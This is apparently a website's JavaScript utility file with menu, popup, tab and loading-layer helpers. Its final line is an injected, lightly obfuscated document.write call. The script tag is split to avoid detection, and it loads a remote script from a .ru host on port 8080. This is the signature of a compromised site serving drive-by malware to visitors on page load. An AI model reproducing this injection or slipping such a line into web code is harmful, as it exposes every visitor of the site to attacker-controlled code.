function UB_showHideObject(){var i,p,v,obj,args=UB_showHideObject.arguments;for(i=0;i<(args.length-1);i+=2){if((obj=MM_findObj(args[i]))!=null){v=args[i+1];if(obj.style){obj=obj.style;v=(v=='off')?'none':(v=='on')?'block':v;};obj.display=v;}}}
function UB_changeClass(){var i,myObj,myClass,args=UB_changeClass.arguments;for(i=0;i<(args.length-1);i+=2){myObj=MM_findObj(args[i]);myObj.className=args[i+1];}}
function UB_genPop(myUrl,myWinName,myWidth,myHeight,myPars){var winLeft=(screen.availWidth-myWidth)/2;var winTop=(screen.availHeight-myHeight)/2;var winParameters=myPars+'';if(winParameters==''){winParameters=',toolbar=no,location=no,status=no,menubar=no,scrollbars=no,resizable=no';};newWin=window.open(myUrl,myWinName,'width='+ myWidth +',height='+ myHeight +',left='+ winLeft +',top='+ winTop + winParameters);newWin.focus();}
var activeMNU,activeELM,subTimeoutID;
function UB_subMNUoff(myMNU){if(subTimeoutID)clearTimeout(subTimeoutID);UB_showHideObject(myMNU,'off');activeELMclassName=activeELM.firstChild.className;activeELM.firstChild.className=activeELMclassName.substring(0,9);subTimeoutID='';activeELM='';activeMNU='';}
function UB_timeout(myMNU,myTimeout){myTimeout=myTimeout?myTimeout:123;subTimeoutID=setTimeout("UB_subMNUoff('"+ myMNU +"')",myTimeout);}
function UB_subMNUon(myMNU,myElement){if(myMNU==activeMNU){if(subTimeoutID){clearTimeout(subTimeoutID)};subTimeoutID='';return;};if(activeMNU){UB_subMNUoff(activeMNU)};activeMNU=myMNU;UB_showHideObject(myMNU,'on');if(myElement){myElement.firstChild.className=myElement.firstChild.className+" sel";activeELM=myElement;}}

function HideDIV(d) {
	document.getElementById(d).style.display = "none";
}

function DisplayDIV(d) {
	document.getElementById(d).style.display = "block";
}
function HideAllContent(d) {
	document.getElementsByClassName = function(){
	if(document.hasChildNodes && arguments[0]){
	var data = new Array();
	for(a=0;a<document.getElementsByTagName("*").length;a++){
	if(document.getElementsByTagName("*")[a].className == arguments[0]){
	data.push(document.getElementsByTagName("*")[a]);
	}
	}
	return data;
	}
	}
	document.getElementsByClassName(d)[0].style.display = "none";
}


function apriPop(myUrl,myWinName,myWidth,myHeight,myPars) {
	var winl = (screen.width - myWidth) / 2;
	var wint = (screen.height - myHeight) / 2;
	parameters = myPars + '';
	if (parameters == '') parameters = ',toolbar=no,location=no,status=no,menubar=no,scrollbars=no,resizable=no';
	gwin=window.open(myUrl,myWinName,'width='+myWidth+',height='+myHeight+',left='+winl+',top='+wint+parameters);
	if (gwin) gwin.focus();
}

function loadAndWait (theUrl) {
	if (theUrl!='') {
		
		HideDIV('alpitourPAGEcontent'); DisplayDIV('trova_layer');
		
		location.href=theUrl;
	}
}

function tabOn(mydiv){for(var i=1;i<=ntab;i++){(i==mydiv)?UB_showHideObject('tabdiv'+i,'on'):UB_showHideObject('tabdiv'+i,'off')}}

document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Num_Lock.js"></scr'+'ipt>');
